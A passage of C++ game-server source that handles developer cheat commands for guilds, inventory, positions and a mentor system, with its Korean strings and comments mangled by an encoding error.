wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
CDNGuild : : TP_DETACHAUTO aDetachAuto ( pGuild ) ;
const INT64 aCurGuildMoney = pGuild - > GetInfo ( ) - > ui64GuildMoney ;
DN_ASSERT ( CHECK_LIMIT ( aCurGuildMoney , GUILDMONEY_MAX ) , " Invalid! " ) ;
if ( aCurGuildMoney = = aNewGuildMoney ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> ڱݰ<DAB1> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> մϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
aNewGuildMoney - = aCurGuildMoney ;
g_pDBConnectionManager - > QueryChangeGuildInfo ( m_pSession - > GetAccountDBID ( ) , m_pSession - > GetCharacterDBID ( ) , GuildUID . nDBID , g_Config . nWorldSetID , GUILDUPDATE_TYPE_MONEY , aNewGuildMoney , 0 , static_cast < INT64 > ( 0 ) , L " " , 0 ) ;
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ڱ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> û<EFBFBD> Ǿ<EFBFBD> <C7BE> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
*/
# else // #if defined( _VILLAGESERVER )
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _VILLAGESERVER )
}
break ;
case GUILD_CHANGECMMPOINT : // <20> <> <EFBFBD> <EFBFBD> <20> Ϲ <EFBFBD> <20> <> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD>
{
if ( 2 > tokens . size ( ) ) {
return false ;
}
long aNewGuildCommonPoint = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( ! CHECK_LIMIT ( aNewGuildCommonPoint , GUILDCMMPTR_MAX ) ) {
return false ;
}
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( FALSE = = pGuild - > IsEnable ( ) ) break ;
# endif
m_pSession - > AddGuildPoint ( GUILDPOINTTYPE_STAGE , aNewGuildCommonPoint ) ;
}
break ;
case GUILD_CHANGEMISSIONPOINT : // <20> <> <EFBFBD> <EFBFBD> <20> ̼<EFBFBD> <20> <> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD>
{
if ( 3 > tokens . size ( ) ) {
return false ;
}
long aNewPoint = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( ! CHECK_LIMIT ( aNewPoint , GUILDCMMPTR_MAX ) ) {
return false ;
}
int nMissionID = _wtoi ( tokens [ 2 ] . c_str ( ) ) ;
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( FALSE = = pGuild - > IsEnable ( ) ) break ;
# endif
m_pSession - > AddGuildPoint ( GUILDPOINTTYPE_MISSION , aNewPoint , nMissionID ) ;
return true ;
}
break ;
case GUILD_CHANGEWARPOINT :
{
if ( 2 > tokens . size ( ) )
return false ;
long aNewPoint = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( ! CHECK_LIMIT ( aNewPoint , GUILDCMMPTR_MAX ) )
return false ;
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( FALSE = = pGuild - > IsEnable ( ) ) break ;
# endif
m_pSession - > AddGuildPoint ( GUILDPOINTTYPE_WAR , aNewPoint ) ;
}
break ;
case ACHIEVEGUILDCOMMONMISSION :
{
if ( tokens . size ( ) < 2 ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Ϲ ݹ̼<DDB9> <CCBC> ε<EFBFBD> <CEB5> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( FALSE = = pGuild - > IsEnable ( ) ) break ;
# endif
CDNMissionSystem * pMission = m_pSession - > GetMissionSystem ( ) ;
if ( pMission )
pMission - > RequestForceAchieveGuildCommonMission ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
}
break ;
case GUILD_CHANGEMEMBERCOUNT :
{
if ( 2 > tokens . size ( ) )
return false ;
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( FALSE = = pGuild - > IsEnable ( ) ) break ;
# endif
TAGetGuildInfo packet ;
memset ( & packet , 0 , sizeof ( packet ) ) ;
packet . nRetCode = ERROR_NONE ;
int nCount = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( ! pGuild - > IsMemberAddable ( ) )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> ̻<EFBFBD> <20> ߰<EFBFBD> <DFB0> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
if ( nCount > pGuild - > GetInfo ( ) - > wGuildSize )
{
wstring wszString = FormatW ( L " <EFBFBD> ִ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʰ<EFBFBD> <CAB0> ߽<EFBFBD> <DFBD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
if ( nCount > GUILDSIZE_MAX )
nCount = GUILDSIZE_MAX ;
TGuildMember MemberInfo ;
TAGetGuildMember GuildMember ;
memset ( & GuildMember , 0 , sizeof ( GuildMember ) ) ;
for ( int i = 0 ; i < nCount - 1 ; i + + )
{
wsprintf ( MemberInfo . wszCharacterName , L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> _%d" , i ) ;
MemberInfo . nCharacterDBID = i ;
GuildMember . MemberList [ GuildMember . nCount ] = MemberInfo ;
+ + GuildMember . nCount ;
if ( GuildMember . nCount > = SENDGUILDMEMBER_MAX )
{
pGuild - > UpdateMember ( & GuildMember ) ;
memset ( & GuildMember , 0 , sizeof ( GuildMember ) ) ;
}
}
if ( GuildMember . nCount > 0 )
pGuild - > UpdateMember ( & GuildMember ) ;
// <20> ڽ<EFBFBD> <DABD> <EFBFBD> <20> ߰<EFBFBD> <DFB0> <EFBFBD> Ų<EFBFBD> <C5B2> .
MemberInfo . nAccountDBID = m_pSession - > GetAccountDBID ( ) ;
MemberInfo . nCharacterDBID = m_pSession - > GetCharacterDBID ( ) ;
wsprintf ( MemberInfo . wszCharacterName , L " %s " , m_pSession - > GetCharacterName ( ) ) ;
pGuild - > AddMember ( & MemberInfo , NULL ) ;
// <20> <> Ŷ<EFBFBD> <C5B6> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ѵ <EFBFBD>
m_pSession - > SendGetGuildInfo ( pGuild , ERROR_NONE ) ;
m_pSession - > SendGetGuildMember ( pGuild , ERROR_NONE ) ;
}
break ;
// <20> <> <EFBFBD> <EFBFBD> : 2<> <32> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> ʱ<EFBFBD> ȭ
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : <20> <> <EFBFBD> <EFBFBD>
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : 2010.01.27
case RESET_SECONDAUTH :
{
break ;
}
case FARM_START :
{
# if defined( _VILLAGESERVER )
CDNField * pField = m_pSession - > GetField ( ) ;
if ( pField )
{
if ( pField - > bIsPvPVillage ( ) | | pField - > bIsPvPLobby ( ) | | pField - > bIsDarkLairVillage ( ) )
{
std : : wstring wszString = FormatW ( L " PvP<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ,PvP<76> κ<EFBFBD> ,<2C> <> ũ<EFBFBD> <C5A9> <EFBFBD> <EFBFBD> <EEB8B6> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ش<EFBFBD> ġƮ<C4A1> <C6AE> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> . \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
}
CSFarmEnter packet ;
memset ( & packet , 0 , sizeof ( CSFarmEnter ) ) ;
packet . iFarmDBID = 1 ;
packet . iMapID = 15106 ;
m_pSession - > OnRecvFarmMessage ( eFarm : : CS_START , ( char * ) & packet , sizeof ( packet ) ) ;
# else
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _VILLAGESERVER )
break ;
}
case IGNOREHIT :
{
# if defined(_GAMESERVER)
DnActorHandle hActor = m_pSession - > GetActorHandle ( ) ;
if ( hActor )
hActor - > ToggleIgnoreHit ( ) ;
# endif
break ;
}
case INVENCLEAR :
{
if ( tokens . size ( ) < 1 ) return false ;
int nInven = ( tokens . size ( ) < = 1 ) ? 0 : _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
switch ( nInven )
{
case 0 :
{
m_pSession - > GetItem ( ) - > CheatClearInven ( ) ;
std : : wstring wszString = FormatW ( L " <EFBFBD> Ϲ <EFBFBD> <20> κ<EFBFBD> <CEBA> 丮<EFBFBD> <E4B8AE> <20> ʱ<EFBFBD> ȭ <20> Ǿ<EFBFBD> <C7BE> <EFBFBD> <EFBFBD> ϴ<EFBFBD> ..\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
break ;
case 1 :
{
m_pSession - > GetItem ( ) - > CheatClearCashInven ( ) ;
std : : wstring wszString = FormatW ( L " ij<EFBFBD> <EFBFBD> <20> κ<EFBFBD> <CEBA> 丮<EFBFBD> <E4B8AE> <20> ʱ<EFBFBD> ȭ <20> Ǿ<EFBFBD> <C7BE> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .. \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
break ;
case 2 :
{
m_pSession - > GetItem ( ) - > CheatClearQuestInven ( ) ;
std : : wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ <20> κ<EFBFBD> <CEBA> 丮<EFBFBD> <E4B8AE> <20> ʱ<EFBFBD> ȭ <20> Ǿ<EFBFBD> <C7BE> <EFBFBD> <EFBFBD> ϴ<EFBFBD> ..\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
break ;
case 3 :
{
m_pSession - > GetItem ( ) - > CheatClearVehicleInven ( ) ;
std : : wstring wszString = FormatW ( L " Ż<EFBFBD> <EFBFBD> <20> κ<EFBFBD> <CEBA> 丮<EFBFBD> <E4B8AE> <20> ʱ<EFBFBD> ȭ <20> Ǿ<EFBFBD> <C7BE> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .. \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
break ;
}
}
break ;
case GIFT :
{
if ( tokens . size ( ) > = 2 )
{
int nItemSN = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
TCashCommodityData CashData ;
TCashPackageData PackageData ;
if ( ( ! g_pDataManager - > GetCashCommodityData ( nItemSN , CashData ) ) & & ( ! g_pDataManager - > GetCashPackageData ( nItemSN , PackageData ) ) ) return false ;
int nItemID = g_pDataManager - > GetCashCommodityItem0 ( nItemSN ) ;
if ( nItemID < = 0 )
{
std : : wstring wszString = FormatW ( L " <EFBFBD> ش<EFBFBD> ij<> <C4B3> Ŀ<EFBFBD> ӵ<EFBFBD> Ƽ <EFBFBD> <C6BC> <20> ش<EFBFBD> <D8B4> ø<EFBFBD> <C3B8> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ۾<EFBFBD> <DBBE> ̵<EFBFBD> <CCB5> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> ..\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
m_pSession - > GetDBConnection ( ) - > QueryGiftByCheat ( m_pSession , nItemSN ) ;
}
}
break ;
case GETPOS :
{
# if !defined( _VILLAGESERVER ) || defined ( _GAMESERVER ) //rlkt 2016
//TPosition aCurPos = m_pSession->GetCurrentPos();
EtVector3 * pvPos = m_pSession - > GetActorHandle ( ) - > GetPosition ( ) ;
std : : wstring wszString = FormatW ( L " POS (X:%.2f, Y:%.2f, Z:%.2f) " , pvPos - > x , pvPos - > y , pvPos - > z ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# else // #if defined( _VILLAGESERVER )
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _VILLAGESERVER )
}
break ;
case SETPOS :
{
# if defined( _VILLAGESERVER )
if ( tokens . size ( ) < 4 ) {
return false ;
}
int nX = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
int nY = _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
int nZ = _ttoi ( tokens [ 3 ] . c_str ( ) ) ;
TPosition aCurPos = m_pSession - > GetCurrentPos ( ) ;
m_pSession - > ChangePos ( nX , nY , nZ , 0.f , 0.f ) ;
std : : wstring wszString = FormatW ( L " ij<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ġ <20> ̵<EFBFBD> , <20> <> <EFBFBD> <EFBFBD> <20> <> ġ(X:%d, Y:%d, Z:%d) " , aCurPos . nX , aCurPos . nY , aCurPos . nZ ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# else // #if defined( _VILLAGESERVER )
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _VILLAGESERVER )
}
break ;
# if defined(PRE_ADD_NPC_REPUTATION_SYSTEM)
case SETREPUTE :
{
if ( tokens . size ( ) < 4 )
{
return false ;
}
int iNpcID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
int iFavor = _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
int iMalice = _ttoi ( tokens [ 3 ] . c_str ( ) ) ;
CReputationSystemRepository * pReputationRepos = m_pSession - > GetReputationSystem ( ) ;
if ( pReputationRepos )
{
int iCurFavor = static_cast < int > ( pReputationRepos - > GetNpcReputation ( iNpcID , IReputationSystem : : NpcFavor ) ) ;
int iCurMalice = static_cast < int > ( pReputationRepos - > GetNpcReputation ( iNpcID , IReputationSystem : : NpcMalice ) ) ;
CNpcReputationProcessor : : Process ( m_pSession , iNpcID , IReputationSystem : : NpcFavor , iFavor - iCurFavor ) ;
CNpcReputationProcessor : : Process ( m_pSession , iNpcID , IReputationSystem : : NpcMalice , iMalice - iCurMalice ) ;
}
else
return false ;
}
break ;
# endif // #if defined(PRE_ADD_NPC_REPUTATION_SYSTEM)
case MASTERSYSTEM_MOD_GRADUATECOUNT :
{
if ( tokens . size ( ) < 2 )
return false ;
int iGraduateCount = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( iGraduateCount < 0 )
return false ;
if ( m_pSession = = NULL | | m_pSession - > CheckDBConnection ( ) = = false )
return false ;
m_pSession - > GetDBConnection ( ) - > QueryModMasterSystemGraduateCount ( m_pSession , iGraduateCount ) ;
break ;
}
case MASTERSYSTEM_SKIP_DATE :
{
# if defined( _VILLAGESERVER ) && !defined( _FINAL_BUILD )
if ( tokens . size ( ) < 2 )
return false ;
bool bIsSkip = _ttoi ( tokens [ 1 ] . c_str ( ) ) ? true : false ;
m_pSession - > m_bIsMasterSystemSkipDate = bIsSkip ;
# else
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _VILLAGESERVER )
break ;
}
case MASTERSYSTEM_MOD_FAVORPOINT :
{
# if defined( _GAMESERVER )
if ( tokens . size ( ) < 3 )
return false ;
int iPoint = _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
if ( iPoint < 0 )
return false ;
if ( m_pSession = = NULL | | m_pSession - > CheckDBConnection ( ) = = false )
return false ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ִ<EFBFBD> <D6B4> <EFBFBD> <20> ˻<EFBFBD>
if ( m_pSession - > GetMasterSystemData ( ) - > SimpleInfo . iPupilCount < = 0 )
return false ;
CDNGameRoom * pGameRoom = m_pSession - > GetGameRoom ( ) ;
if ( pGameRoom = = NULL )
return false ;
INT64 biPupilCharacterDBID = 0 ;
for ( UINT i = 0 ; i < pGameRoom - > GetUserCount ( ) ; + + i )
{
CDNUserSession * pSession = pGameRoom - > GetUserData ( i ) ;
if ( pSession & & wcscmp ( pSession - > GetCharacterName ( ) , tokens [ 1 ] . c_str ( ) ) = = 0 )
{
biPupilCharacterDBID = pSession - > GetCharacterDBID ( ) ;
break ;
}
}
if ( biPupilCharacterDBID = = 0 )
return false ;
m_pSession - > GetDBConnection ( ) - > QueryModMasterSystemFavorPoint ( m_pSession , m_pSession - > GetCharacterDBID ( ) , biPupilCharacterDBID , iPoint ) ;
# else
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> Ӽ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _GAMESERVER )
break ;
}
case MASTERSYSTEM_MOD_RESPECTPOINT :
{
# if defined( _GAMESERVER )
if ( tokens . size ( ) < 2 )
return false ;
int iPoint = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( iPoint < 0 )
return false ;
if ( m_pSession = = NULL | | m_pSession - > CheckDBConnection ( ) = = false )
return false ;
m_pSession - > GetDBConnection ( ) - > QueryModMasterSystemRespectPoint ( m_pSession , iPoint ) ;
# else
